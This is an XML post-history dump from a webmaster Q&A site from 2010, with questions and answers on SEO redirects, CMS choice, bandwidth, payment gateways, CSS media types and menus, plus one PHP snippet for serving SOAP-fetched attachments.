  <row Id="5236" PostHistoryTypeId="2" PostId="2697" RevisionGUID="61bb234c-74cb-468b-b742-a25a730374de" CreationDate="2010-08-31T13:10:05.447" UserId="1253" Text="If do a 301 redirect then the .co.uk domain will have no SEO value for you as a 301 redirect tells the search engines that the page has moved and to use the new URL in its search results.&#xD;&#xA;&#xD;&#xA;Basically you can't have two or more domains point to the same site in the hopes of improving your rankings. That will cause duplicate content issues which will hurt you rather then help you." />
  <row Id="5237" PostHistoryTypeId="2" PostId="2698" RevisionGUID="9636da4a-b072-43c1-934f-ff0cb41ec382" CreationDate="2010-08-31T13:12:46.037" UserId="1253" Text="If you want a blog and just a few pages then use [Wordpress][1]. It's probably the best blogging software available and it offers the ability to add and manage pages outside of the blog. Basically it does everything you need to do all in one neat free package.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/" />
  <row Id="5238" PostHistoryTypeId="2" PostId="2699" RevisionGUID="31de4ffa-32f6-424b-a2c9-64ae81d307a5" CreationDate="2010-08-31T13:35:35.213" UserId="1790" Text="I usually test in Firefox, IE8, Chrome, Safari and Opera on PC and Mac. For other versions of browsers I use http://browsershots.org/, which provides screenshots of the site in different browsers. It's not ideal since you can't test everything on the site (Browser Shots just provides images), but it's far less time-consuming than going through every possible browser/OS combination." />
  <row Id="5239" PostHistoryTypeId="2" PostId="2700" RevisionGUID="086d19c7-9732-4cb1-9298-b54b2d4a7c42" CreationDate="2010-08-31T13:38:24.380" UserId="102" Text="If it is a personal site, then how you approach the site is down to what you want to get out of it.&#xD;&#xA;&#xD;&#xA;If you already know Asp.net you shouldn't have much difficulty getting something knocked up fairly simply. Then you can develop and expand the site in whatever way and as far as your imagination can go. Doing a site from scratch gives you complete flexibility to create something exactly how you want it. It will allow you to stretch your development skills and you have something to add to your CV.&#xD;&#xA;&#xD;&#xA;You will need a database for any dynamic content of your site. In particular to manage your blog - unless you want to be typing out raw Html for each page (I don't recommend).&#xD;&#xA;&#xD;&#xA;You could use xml for your dynamic content if you have to avoid a database, but that will bite you very quickly. Databases are quick and easy and nothing to fear.&#xD;&#xA;&#xD;&#xA;I recommend [this site][1] as it is a gold mine of information about running a site!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com" />
  <row Id="5240" PostHistoryTypeId="5" PostId="2674" RevisionGUID="719b2d91-266d-4f1f-ad16-36b230c4271c" CreationDate="2010-08-31T14:34:08.713" UserId="1074" Comment="edited body; deleted 3 characters in body" Text="When you're at bottom, I believe the only way to move yourself up is to outwork the competition.  It's not the fun or easy answer.  But when money isn't readily available, you have to overcome your limitations by working harder.&#xD;&#xA;&#xD;&#xA;To translate this idea, it's time for --you-- to start writing, or to find people who can help at no cost.  If you have a great way to deliver this content, then there is no shame asking &quot;experts&quot; such as prolific bloggers to help, especially if you &quot;compensate&quot; them with reciprocal links.  Content (plus well thought-out SEO) will in time bring viewers and inbound links, which will give you more exposure, which will lead to more inbound users, who generate more content....  The better the content, the faster the inbound links, user count, and user-generated content will build up.  As you make money, reinvest it in seeding more quality content, and once you believe there's enough to support your base, adwords.  Also, never stop self-promoting, cross posting, and link gathering....even if the site becomes wildly successful.&#xD;&#xA;&#xD;&#xA;Avoid the lure of throwing money to make things go faster unless it's so close to a sure thing that you couldn't possibly suffer.  My company is struggling right now in a similar phase....we are building a quality product with the money that comes in from a few beta clients and other development jobs...money is tight, days are long.  There's a firm across town that's taking Venture Cap like it's going out of style....swank offices, huge payroll, etc.  If they succeed, the company's value will be with those who have no other stake than putting up money.  More likely, the people with money will get sick of sinking it into a black hole and turn the faucet off...and they'll go away.  In 10 years, we'll own our code, our building, our destiny....and likely all be in very good shape.  In your case, not only could you lose the company, but it could leave you in financial ruin if the site tanks and you have significant debt tied up trying to make it go.&#xD;&#xA;&#xD;&#xA;Bottom line--great sites rarely just &quot;happen&quot;  Great ideas make great success.  And hard, tedious work is what ultimately makes most great ideas happen." />
  <row Id="5241" PostHistoryTypeId="2" PostId="2701" RevisionGUID="5c8358fa-b15a-4584-a376-39cb285d5d48" CreationDate="2010-08-31T14:38:13.050" UserId="1792" Text="Sell them at [Flippa.com][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://flippa.com" />
  <row Id="5242" PostHistoryTypeId="5" PostId="2628" RevisionGUID="9a1a800d-45c4-43e6-b332-a2961c9c49cf" CreationDate="2010-08-31T16:14:11.703" UserId="1489" Comment="added 2408 characters in body" Text="I have a system (web based application) which pulls file attachments from a 3rd party system via SOAP.  These are in turn on our system created as files in a directory.  &#xD;&#xA;&#xD;&#xA;When a user of the system (authenticated through ldap) makes a request to my application to retrieve one of these attachments:&#xD;&#xA;&#xD;&#xA;    1. I request it via soap&#xD;&#xA;    2. Process the response to build the file on our system&#xD;&#xA;    3. Redirect user to the location so they can download the file.  &#xD;&#xA;&#xD;&#xA;First off, is this a good approach?  &#xD;&#xA;&#xD;&#xA;Is there a better way to serve up files which will not reside on the server much after the attachment download (cron job will clean up the directory every so often)?  &#xD;&#xA;&#xD;&#xA;Secondly, is there a way I can serve files through apache without storing them in the web root?  &#xD;&#xA;&#xD;&#xA;Thirdly, how do I enforce permissions on these files so not just any user can download just any attachment?  &#xD;&#xA;&#xD;&#xA;Our Setup:&#xD;&#xA;&#xD;&#xA;    linux&#xD;&#xA;    apache&#xD;&#xA;    php - soap libraries for communication &#xD;&#xA;    seperate LDAP for authentication&#xD;&#xA;    3rd party soap server (where attachments come from) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT:  The code to serve the attachment in case anyone is curious. &#xD;&#xA;&#xD;&#xA;        &lt;?php &#xD;&#xA;&#xD;&#xA;    ini_set('display_errors',1);&#xD;&#xA;    error_reporting(E_ALL|E_STRICT);&#xD;&#xA;&#xD;&#xA;    //require global definitions &#xD;&#xA;    require_once(&quot;includes/globals.php&quot;); &#xD;&#xA;    //validate the user before continuing &#xD;&#xA;    isValidUser(); &#xD;&#xA;    $subTitle = &quot;Attachment&quot;; 	&#xD;&#xA;    $attachmentPath = &quot;/var/www/html/DEVELOPMENT/serviceNow/selfService/uploads/&quot;;&#xD;&#xA;    if(isset($_GET['id']) and !empty($_GET['id'])){&#xD;&#xA;        //first lookup attachment meta information &#xD;&#xA;        $a = new Attachment(); &#xD;&#xA;        $attachment = $a-&gt;get($_GET['id']); &#xD;&#xA;        //filename will be original file name with user name.n prepended &#xD;&#xA;        $fileName = $attachmentPath.$_SESSION['nameN'].'-'.$attachment-&gt;file_name; &#xD;&#xA;        //instantiate new attachmentDownload and query for attachment chunks &#xD;&#xA;        $a = new AttachmentDownload(); &#xD;&#xA;        $chunks= $a-&gt;getRecords(array('sys_attachment'=&gt;$_GET['id'], '__order_by'=&gt;'position')); &#xD;&#xA;&#xD;&#xA;	&#xD;&#xA;        $fh = fopen($fileName.'.gz','w'); 									                   &#xD;&#xA;        // read and base64 encode file contents &#xD;&#xA;        foreach($chunks as $chunk){&#xD;&#xA;                fwrite($fh, base64_decode($chunk-&gt;data)); 	&#xD;&#xA;        }&#xD;&#xA;        fclose($fh);&#xD;&#xA;	&#xD;&#xA;        //open up filename for writing &#xD;&#xA;        $fh = fopen($fileName,'w'); 	&#xD;&#xA;        //open up filename.gz for extraction 								&#xD;&#xA;        $zd = gzopen($fileName.'.gz', &quot;r&quot;);&#xD;&#xA;        //iterate over file and write contents &#xD;&#xA;        while (!feof($zd)) {&#xD;&#xA;                fwrite($fh, gzread($zd, 60*57)); 	&#xD;&#xA;        }&#xD;&#xA;        fclose($fh); &#xD;&#xA;        gzclose($zd);&#xD;&#xA;        unlink($fileName.'.gz'); &#xD;&#xA;        $info = pathinfo($fileName); &#xD;&#xA;&#xD;&#xA;        header('Content-Description: File Transfer');&#xD;&#xA;        header('Content-Type: '.Mimetypes::get($info['extension']));&#xD;&#xA;        header('Content-Disposition: attachment; filename=' . basename($fileName));&#xD;&#xA;        header('Content-Transfer-Encoding: binary');&#xD;&#xA;        header('Expires: 0');&#xD;&#xA;        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');&#xD;&#xA;        header('Pragma: public');&#xD;&#xA;        header('Content-Length: ' . filesize($fileName));&#xD;&#xA;        ob_clean();&#xD;&#xA;        flush();&#xD;&#xA;        readfile($fileName);&#xD;&#xA;        exit();&#xD;&#xA;    }else{&#xD;&#xA;        header(&quot;location: &quot;.$links['status'].&quot;?&quot;.urlencode(&quot;item=incident&amp;action=view&amp;status=-1&amp;place=&quot;.$links['home'])); 	&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5243" PostHistoryTypeId="2" PostId="2702" RevisionGUID="c509d2d6-b7bf-43a8-bf3f-7f3709ee5ea5" CreationDate="2010-08-31T16:51:12.403" UserId="745" Text="In my opinion, a CMS is almost never overkill. Once in place, a CMS is the difference between just writing for your website and writing and doing code fixes. It's going to save you time over the long run as you need to make changes to your website. A database is also almost always recommended because you can export the data anywhere. You'll probably find it easier to get a decent open source CMS for PHP than ASP.net. I'd recommend using either Joomla or Wordpress for the size of their communities, but you can try a lot of different open source PHP CMS demos at [OpenSourceCMS][1]. And here is a list of [other languages][2] as well. &#xD;&#xA;&#xD;&#xA;What should you look for? That's entirely up to you, but I'd recommend looking at the following criteria:&#xD;&#xA;&#xD;&#xA; - Security&#xD;&#xA; - Ease of use&#xD;&#xA; - Ease of development&#xD;&#xA; - Speed of development&#xD;&#xA; - Ease of extension/expansion&#xD;&#xA; - Size of community&#xD;&#xA; - Tone of community (look at the forums&#xD;&#xA;   to see how helpful people are)&#xD;&#xA; - Number of add-ons&#xD;&#xA; - How often the project is updated&#xD;&#xA; - License/Price&#xD;&#xA; - Host compatibility&#xD;&#xA;&#xD;&#xA;At first, your biggest priority will probably be how quickly you can create a template. Choose a few different CMS's that you think might meet your criteria and then look for a tutorial on how to create a template for it. If you have a hard time finding a tutorial for templating, it's probably a good sign that the CMS isn't a great choice.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opensourcecms.com/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/List_of_content_management_systems" />
  <row Id="5244" PostHistoryTypeId="2" PostId="2703" RevisionGUID="27fd4166-4ab7-4590-a258-e20ea68b6997" CreationDate="2010-08-31T17:53:12.810" UserId="1074" Text="I took this on with a past employer.  After much discussion, we opted AGAINST .pdf as the sole electronic distribution method due to the extra load time, annoying software, and (somewhat) questionable visibility with the search engines...I know, I know, Google does search .pdfs....but it seems to grab traditional HTML sites BETTER.&#xD;&#xA;&#xD;&#xA;So, our solution was to deliver the site in newspaper format via a custom CMS that we wrote in-house.  We could then use Google Analytics to track inbound, outbound AND search related traffic plus paths through the site.  A big part of the traffic we received was referrals from current readers, and there was no way to track who's passing around a .pdf via email forward.  It's easy, however, to track a &quot;send to a friend&quot; link on a site...which is why you see it on CNN, MSNBC, etc.&#xD;&#xA;&#xD;&#xA;An added bonus is that by doing it the way we did, we could use queries (or RSS, which we also offered) to cross-post the content back on the main site and the 25 other sites that the company ran.  So, a particular letter from a high-ranking CEO could be used to populate multiple newsletters and websites with just a few clicks.&#xD;&#xA;&#xD;&#xA;Later, to appease the print-obsessed crowd, we did begin offering a .pdf download, generated on the fly server-side.  Sure, it wasn't a perfect, custom laid out graphic marvel...but it worked, was automatic, and people liked it.  Load time for the .pdf was ~20-30 seconds if your .pdf viewer wasn't open.  Load time on the non-pdf site was about 1sec by comparison.&#xD;&#xA;&#xD;&#xA;Administration-wise, we went from hours per newsletter down to less than an hour.  An accompanying email system was setup to auto-generate a email blast with the month's articles, with just a handful of clicks.  The email blast immediately ratcheted up viewership and doubled return visitors." />
  <row Id="5245" PostHistoryTypeId="2" PostId="2704" RevisionGUID="d8f89fa8-5342-4672-a3e3-d828619441fa" CreationDate="2010-08-31T20:38:10.500" UserId="1603" Text="Before you start to develop your own things from scratch you should look at whats available - there are some free open source options on the .net platform worth checking out.&#xD;&#xA;&#xD;&#xA;BlogEngine.net is a fairly popular and asp.net 2.0 based (and open source) - see http://www.dotnetblogengine.net/page/Feature-table.aspx - if you are primarily going to add content to the blog and image section I guess this will be a great starting point. I haven't tried it my self, but I would expect it allow you to add what ever you want around it / change it.&#xD;&#xA;&#xD;&#xA;Regarding database; my experience is that you can use things like flat XML files just fine for smaller sites if your amounts of data (not counting images etc. here) is small enough to keep in mem and you do not write very often. Looks like blogengine.net lets you select both xml and sql.&#xD;&#xA;&#xD;&#xA;About SEO - try out WebMatrix from MS (currently in beta) - it has build in SEO features which can crawl/analyze your site and list improvements related to page structure (like having multiple h1's is bad etc). I did an overall intro to WebMatrix here http://docs.composite.net/C1/TeamBlog.aspx/2010/08/13/The-WebMatrix-experience - you can also download BlogEngine.net this way." />
  <row Id="5246" PostHistoryTypeId="2" PostId="2705" RevisionGUID="de858c76-48cf-4f75-8c37-fefe36a2d8d9" CreationDate="2010-08-31T23:53:03.633" UserId="529" Text="This is a **bad** idea. UTM tags are for tracking external traffic sources, not internal ones. &#xD;&#xA;&#xD;&#xA;If you set this internally, it'll overwrite itself over and over, and give you unreliable data. &#xD;&#xA;&#xD;&#xA;Instead, use Advanced Segmentation to segment your traffic according to particular attributes, and apply those segments to compare performance. " />
  <row Id="5247" PostHistoryTypeId="2" PostId="2706" RevisionGUID="1b051511-71ed-4907-9687-b6f526c8d7e8" CreationDate="2010-09-01T00:18:06.590" UserId="67" Text="My company uses flickr and picasa web albums as poor man's content delivery networks (CDN) for image hosting, but I'm curious if anyone has any recommendations on any other services that might be worth looking into, paid and free?&#xD;&#xA;&#xD;&#xA;Preferably something that has an API so that it can be integrated discreetly on the backend as a WordPress plugin or for other development frameworks.&#xD;&#xA;&#xD;&#xA;A CDN such as Amazon is cheap, and it works, but the lack of a photo-centric API is what prevents me from using it for general usage." />
  <row Id="5248" PostHistoryTypeId="1" PostId="2706" RevisionGUID="1b051511-71ed-4907-9687-b6f526c8d7e8" CreationDate="2010-09-01T00:18:06.590" UserId="67" Text="Image CDN with API?" />
  <row Id="5249" PostHistoryTypeId="3" PostId="2706" RevisionGUID="1b051511-71ed-4907-9687-b6f526c8d7e8" CreationDate="2010-09-01T00:18:06.590" UserId="67" Text="&lt;web-hosting&gt;&lt;images&gt;&lt;cdn&gt;&lt;flickr&gt;" />
  <row Id="5250" PostHistoryTypeId="2" PostId="2707" RevisionGUID="84b85117-b279-44e6-940f-bee8970dc356" CreationDate="2010-09-01T00:51:27.290" UserId="138" Text="Stack Overflow (and thus by definition, this site) use [http://imgur.com/][1] as they've just launched a [brand new API][2]. I'm not familiar with it as I haven't used it, but I had a discussion with Womble (the developer who designed it) about it and it seemed pretty neat.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://imgur.com/&#xD;&#xA;  [2]: http://api.imgur.com/" />
  <row Id="5251" PostHistoryTypeId="5" PostId="2687" RevisionGUID="2ddc7b1b-1e90-42ca-bb21-708e6f5abcc4" CreationDate="2010-09-01T08:03:25.897" UserId="1788" Comment="added 990 characters in body" Text="I have a content based website and I'm in the process of creating a sitemap.xml file. I was wondering if it would be best to give high priority to tag urls or to post urls. Has anyone experimented with it ? What will give you better rankings in google and eventually bring in more visitors ?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;@John Conde&#xD;&#xA;I know that. However I assume that when someone searches for a term for which I have two pages of equal relevance priority may make a difference (at least in some search engines). What I want to find out is how important that suggestion is considered by search engines.&#xD;&#xA;&#xD;&#xA;To give you an example. I'm publishing a small CSS framework. Once every few months I give away a new release 0.1, 0.2 etc etc. All these posts have the keywords &quot;mainframe css&quot; in the title, url and post body. The same keywords are also found in the relevant tag page (site.com/tag/mainframe-css). I also have a &quot;static&quot; page that serves as a welcome page for the project, with links to all available downloads and stuff. &#xD;&#xA;&#xD;&#xA;So the way I see it, there are maybe 10 pages of equal relevance. However I want visitors to be taken to the project page. One solution I can think of is linking from every post page to the project page.&#xD;&#xA;&#xD;&#xA;Anyway thanks for the answers people. You got me covered :)" />
  <row Id="5252" PostHistoryTypeId="6" PostId="2400" RevisionGUID="edb51dbe-e941-408f-86be-9d11c6259e28" CreationDate="2010-09-01T13:11:48.310" UserId="1703" Comment="Add tag" Text="&lt;advertising&gt;&lt;affiliate&gt;" />
  <row Id="5253" PostHistoryTypeId="2" PostId="2708" RevisionGUID="7a6a650c-c11e-4072-b4bf-b6c2b13efd64" CreationDate="2010-09-01T13:47:17.007" UserId="1429" Text="As of your explanation: Google Adsense.&#xD;&#xA;&#xD;&#xA;As of what i think is an affiliate program: dreamstime.com" />
  <row Id="5254" PostHistoryTypeId="16" PostId="2708" RevisionGUID="7a6a650c-c11e-4072-b4bf-b6c2b13efd64" CreationDate="2010-09-01T13:47:17.007" UserId="-1" />
  <row Id="5255" PostHistoryTypeId="2" PostId="2709" RevisionGUID="0414c711-8aac-456e-9b93-4cc28d5e25fb" CreationDate="2010-09-01T13:57:25.203" UserId="1424" Text="What's the minimum amount of bandwith for a website ?&#xD;&#xA;&#xD;&#xA;Let's say I have a hosting service with 125GB traffic, how many website I can store before they start to slow down ?&#xD;&#xA;&#xD;&#xA;Also, what does &quot;1000 Mbit uplink&quot; mean ? What is going to influence ?" />
  <row Id="5256" PostHistoryTypeId="1" PostId="2709" RevisionGUID="0414c711-8aac-456e-9b93-4cc28d5e25fb" CreationDate="2010-09-01T13:57:25.203" UserId="1424" Text="What's the minimum necessary bandwidth for a fast website?" />
  <row Id="5257" PostHistoryTypeId="3" PostId="2709" RevisionGUID="0414c711-8aac-456e-9b93-4cc28d5e25fb" CreationDate="2010-09-01T13:57:25.203" UserId="1424" Text="&lt;web-hosting&gt;&lt;bandwidth&gt;" />
  <row Id="5258" PostHistoryTypeId="2" PostId="2710" RevisionGUID="99413c6c-2b30-4854-b271-c9e740671dda" CreationDate="2010-09-01T14:13:03.063" UserId="777" Text="I want to build a horizontal menu bar with a multi column flyout of the hovered item. It should be done with html lists, css and javascript (if needed) only.&#xD;&#xA;There should be a max height of the flyout so that the following ul's automatically break into the next column.&#xD;&#xA;&#xD;&#xA;An example of the mentioned navigation can be found on the [italian microsoft website][1] (first navigation point called &quot;Windows&quot;).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/it/it/default.aspx" />
  <row Id="5259" PostHistoryTypeId="1" PostId="2710" RevisionGUID="99413c6c-2b30-4854-b271-c9e740671dda" CreationDate="2010-09-01T14:13:03.063" UserId="777" Text="Multi column flyout menu" />
  <row Id="5260" PostHistoryTypeId="3" PostId="2710" RevisionGUID="99413c6c-2b30-4854-b271-c9e740671dda" CreationDate="2010-09-01T14:13:03.063" UserId="777" Text="&lt;css&gt;&lt;html&gt;&lt;javascript&gt;" />
  <row Id="5261" PostHistoryTypeId="2" PostId="2711" RevisionGUID="995ae620-9398-4829-8fe4-82233dcb3743" CreationDate="2010-09-01T14:45:00.713" UserId="1703" Text="Although Darryl has answered your question well I would like to go a bit more in depth here.&#xD;&#xA;&#xD;&#xA;I've developed a few sites now that use a variety of payment systems. Depending on how many payments you process and how you want to take payments there are a number of options available to you. You may also note that many large sites offer a number of payment solutions (e.g. credit cards, PayPal and Google Checkout) to their customers in order to offer them the greatest number of options to pay.&#xD;&#xA;&#xD;&#xA;There are two basic things you require in order to take payments online:&#xD;&#xA;&#xD;&#xA; 1. A merchant account&#xD;&#xA; 2. A payment provider/gateway&#xD;&#xA;&#xD;&#xA;Companies like RBS Worldpay and PayPal offer the two as a package but other companies like Sage Pay offer them separately which can be quite deceiving in figuring out the costs. My advice would be to draw up a spreadsheet between the different companies you finally settle on and work out which will be the most cost effective for you. &#xD;&#xA;&#xD;&#xA;Here are a few questions that you may want to ask yourself before deciding on the payment options you wish to provide. I will list them below in bold with further information relating to each below.&#xD;&#xA;&#xD;&#xA;**How many transactions do I expect to take?**&#xD;&#xA;&#xD;&#xA;Depending on the number of payments you will take monthly you may prefer to go down different routes. This will mainly be determined by the costs of the payment providers.&#xD;&#xA;&#xD;&#xA;If you have a low number of transactions then you may not wish to pay a monthly fee which some payment providers charge. So in this circumstance you would probably go for a PayPal or Google Checkout account. PayPal offer a service they call &quot;[Website Payments Standard][1]&quot; where a percentage (1.4-3.4%) of the sale is taken plus 20p and no monthly fee. This would be an attractive solution if, as I said before, you have a low number of transactions. However if you wish to take payments on your site then this will not work for you.&#xD;&#xA;&#xD;&#xA;**Do you want your customers to remain on your site to make a payment?**&#xD;&#xA;&#xD;&#xA;There are two options here:&#xD;&#xA;&#xD;&#xA; 1. Have a hosted payments page much like what Google Checkout, PayPal, RBS Worldpay, and others offer where potential customers are redirected to a page hosted by one of the aforementioned companies where the customer will fill out their billing and credit card details to make a payment. Thereafter they are redirected back to your site.&#xD;&#xA; 2. Your potential customer remains on your site and completes billing and credit card details which are then sent to your payment provider for processing. This method is commonly known as the XML Direct or XML Invisible method and it does as it says. It invisibly sends the payment data to your payment gateway using a series of XML messages to confirm payment. The most commonly used payment providers in the UK are PayPal, Sage Pay and Worldpay but some might disagree with me on that. Nevertheless whichever company you end up with you must ensure that they offer your required payment solution and they don't burn a hole(s) in your pocket(s)!&#xD;&#xA;&#xD;&#xA;The complexity of the two are obvious in that option 2 requires a lot more work. Furthermore you will run into the &quot;PCI compliance&quot; area regarding option 2. For example, when using RBS Worldpay, they require your web site to have passed a PCI compliance scan before they enable the XML Direct payment method for your account. &#xD;&#xA;&#xD;&#xA;PCI scanning can be a costly process. For example, the cheapest and most user friendly I've come across has been [McAfee Secure PCI scanning][2] at $319 pa for on demand scanning. UK companies seem to really overcharge on this so I shy away from them.&#xD;&#xA;&#xD;&#xA;Certain shopping carts actually have built in functionality that enable the XML direct payment method for certain payment providers which may make it easy for you to integrate this solution into your site. This will probably influence your choice in deciding which payment provider to go with.&#xD;&#xA;&#xD;&#xA;Finally here is a price comparison between RBS Worldpay and PayPal for accounts that offer the XML Direct payment method:&#xD;&#xA;&#xD;&#xA;**PayPal**&#xD;&#xA;&#xD;&#xA; - Setup fee         None&#xD;&#xA; - Monthly fee       £20&#xD;&#xA; - Transaction fee   1.4-3.4% per transaction + 20p&#xD;&#xA;&#xD;&#xA;**RBS Worldpay**&#xD;&#xA;&#xD;&#xA; - Setup fee         £75&#xD;&#xA; - Monthly fee       £15&#xD;&#xA; - Transaction fee   3.35% per transaction + 15p&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.paypal-business.co.uk/accept-online-payments-with-paypal/index.htm&#xD;&#xA;  [2]: http://www.mcafeesecure.com/us/products/pci.jsp" />
  <row Id="5262" PostHistoryTypeId="2" PostId="2712" RevisionGUID="a617ce9c-9cf8-4ef5-becd-c75b245c9cea" CreationDate="2010-09-01T14:45:36.343" UserId="797" Text="Take a look at [ActiveSocial][1]. It's a complete Social Networking solution built on DotNetNuke. It can be a great solution for building a community that goes well beyond Forums and Blogs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.activemodules.com/products/activesocial.aspx" />
  <row Id="5263" PostHistoryTypeId="2" PostId="2713" RevisionGUID="7194f701-cad0-4f95-8d80-b728da56a00f" CreationDate="2010-09-01T14:51:55.077" UserId="221" Text="There is no minimum amount. A truly unpopular website will attract no traffic and require no bandwidth. Most site, will however fare a little better but it all depends on how much traffic the site gets.&#xD;&#xA;&#xD;&#xA;&gt; Let's say I have a hosting service with 125GB traffic&#xD;&#xA;&#xD;&#xA;125 GB per year? day? hour? second?&#xD;&#xA;&#xD;&#xA;Per year, this isn't all that much. &#xD;&#xA;&#xD;&#xA;Per day it would require at least 12.5 Mbits/sec just to be able to move the data assuming the demand was perfectly even. &#xD;&#xA;&#xD;&#xA;Assuming you have a 1000 Mbit/second connection (i.e. you can shovel 1 gigabit - about 120 megabytes - per second) you could in theory host 80 such sites, but that would FULLY utilize your maximum *theoretical* bandwidth. In practice a 1 Gbit/sec link will never reach that theoretical maximum.&#xD;&#xA;&#xD;&#xA;Worse yet, demand is far from even. So even if the aggregate amount of data transfered per day is 125 Gigabyte you may find that the load will vary from near zero to 100+ Mbits/sec! This depends on the type of site, but almost all sites but the most global ones will follow the daily rhythm of night and day. So your 1 Gbit/sec link would probably struggle to handle even just 20-40 sites that each require about 125 GiB of bandwidth per day during peak hours.&#xD;&#xA;&#xD;&#xA; " />
  <row Id="5264" PostHistoryTypeId="5" PostId="2696" RevisionGUID="ad18c6b0-b6d2-4388-a1da-f7d9cc615e83" CreationDate="2010-09-01T14:59:46.690" UserId="221" Comment="deleted 43 characters in body" Text="I currently have a web site domain.com. This is my primary site. i want to get search results in the uk and i am considering purchasing a domain.co.uk. This will be an empty site which will 301 the user to the primary domain.com&#xD;&#xA;&#xD;&#xA;Is this bad for SEO?&#xD;&#xA;&#xD;&#xA;Also, are there better ways of implementing such features?&#xD;&#xA;" />
  <row Id="5265" PostHistoryTypeId="2" PostId="2714" RevisionGUID="3881a114-90c5-4635-9c86-8d9f2d4b8953" CreationDate="2010-09-01T15:17:03.870" UserId="777" Text="Found a possible solution here:&#xD;&#xA;&#xD;&#xA;http://www.alistapart.com/articles/multicolumnlists/" />
  <row Id="5266" PostHistoryTypeId="2" PostId="2715" RevisionGUID="de676f55-f986-495d-8684-a408c3884d4e" CreationDate="2010-09-01T16:09:56.873" UserId="67" Text="The Sitepoint [Mega Dropdown Menu with jQuery][1] is a great tutorial, and it has served me well. The way these things work is by using a `div` container as the dropdown, so whatever you put in it, e.g., the multicolumn list, would be up to you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/blogs/2009/03/31/make-a-mega-drop-down-menu-with-jquery/" />
  <row Id="5267" PostHistoryTypeId="2" PostId="2716" RevisionGUID="4e069ca1-fe1b-430f-aa16-2d3c4c3b9c58" CreationDate="2010-09-01T16:35:26.140" UserId="67" Text="5 or 6 pages? Create a static page for your design, chop the header and the footer off into separate files, then create those 5-6 pages by including them. &#xD;&#xA;&#xD;&#xA;    &lt;head&gt;&lt;/head&gt;       &lt;--- Include this&#xD;&#xA;&#xD;&#xA;    &lt;content&gt;&lt;/content&gt; &lt;--- Customize this for each page&#xD;&#xA;&#xD;&#xA;    &lt;foot&gt;&lt;/foot&gt;       &lt;--- Include this  " />
  <row Id="5268" PostHistoryTypeId="2" PostId="2717" RevisionGUID="3a1ba0bd-f654-4289-b9d6-8ee25a5b2dda" CreationDate="2010-09-01T16:57:43.517" UserDisplayName="user1561" Text="Is there any good MIDP tutorials online ? " />
  <row Id="5269" PostHistoryTypeId="1" PostId="2717" RevisionGUID="3a1ba0bd-f654-4289-b9d6-8ee25a5b2dda" CreationDate="2010-09-01T16:57:43.517" UserDisplayName="user1561" Text="MIDP Programming tutorials" />
  <row Id="5270" PostHistoryTypeId="3" PostId="2717" RevisionGUID="3a1ba0bd-f654-4289-b9d6-8ee25a5b2dda" CreationDate="2010-09-01T16:57:43.517" UserDisplayName="user1561" Text="&lt;mobile&gt;" />
  <row Id="5271" PostHistoryTypeId="2" PostId="2718" RevisionGUID="97d17834-aeb1-4805-b9eb-1b2d03e3a02e" CreationDate="2010-09-01T17:17:16.013" UserId="1253" Text="A quick [Google search][1] says yes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?aq=f&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=MIDP+tutorial" />
  <row Id="5272" PostHistoryTypeId="2" PostId="2719" RevisionGUID="df910b43-8d95-4844-9736-05db7516793e" CreationDate="2010-09-01T18:25:17.260" UserId="215" Text="My website already has screen and print stylesheets, but [there are several more][1]. Are these still worth creating stylesheets for or are they no longer relevant?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/CSS2/media.html" />
  <row Id="5273" PostHistoryTypeId="1" PostId="2719" RevisionGUID="df910b43-8d95-4844-9736-05db7516793e" CreationDate="2010-09-01T18:25:17.260" UserId="215" Text="Which media types is it worth including stylesheets for?" />
  <row Id="5274" PostHistoryTypeId="3" PostId="2719" RevisionGUID="df910b43-8d95-4844-9736-05db7516793e" CreationDate="2010-09-01T18:25:17.260" UserId="215" Text="&lt;css&gt;&lt;usability&gt;" />
  <row Id="5275" PostHistoryTypeId="2" PostId="2720" RevisionGUID="f0b4befc-c592-408a-a81f-c53fd5dcb652" CreationDate="2010-09-01T18:37:05.270" UserId="1253" Text="They're all relevant *if that's what your target audience will be using*. One you may want to consider is for mobile devices (media=&quot;handheld&quot;). Mobile devices are a fast growing segment of users and a stylesheet for their smaller screens is a good idea to use. &#xD;&#xA;&#xD;&#xA;The others are for small audiences and never were used widely. But that doesn't mean they are irrelevant. They are only irrelevant if your target audience won't be using those user-agents to view your website." />
  <row Id="5276" PostHistoryTypeId="5" PostId="2720" RevisionGUID="32e147a5-a061-49ea-bed9-f7e59dc3429f" CreationDate="2010-09-01T18:53:52.853" UserId="1253" Comment="added 2 characters in body" Text="They're all relevant *if that's what your target audience will be using*. One you may want to consider is for mobile devices (`media=&quot;handheld&quot;`). Mobile devices are a fast growing segment of users and a stylesheet for their smaller screens is a good idea to use. &#xD;&#xA;&#xD;&#xA;The others are for small audiences and never were used widely. But that doesn't mean they are irrelevant. They are only irrelevant if your target audience won't be using those user-agents to view your website." />
  <row Id="5277" PostHistoryTypeId="2" PostId="2721" RevisionGUID="64782ba7-ed79-40a8-b63d-5e8b658f694c" CreationDate="2010-09-01T18:58:15.327" UserDisplayName="Drigit Inrok" Text="Also using automatic Spam detection via Askimet (http://askimet.com). Askimet is induced with popular Content Management Systems. So, probably self-moderation is easy.&#xD;&#xA;&#xD;&#xA;Many users (including me), hate to login to comment. Integration of OpenID makes it easy to comment." />
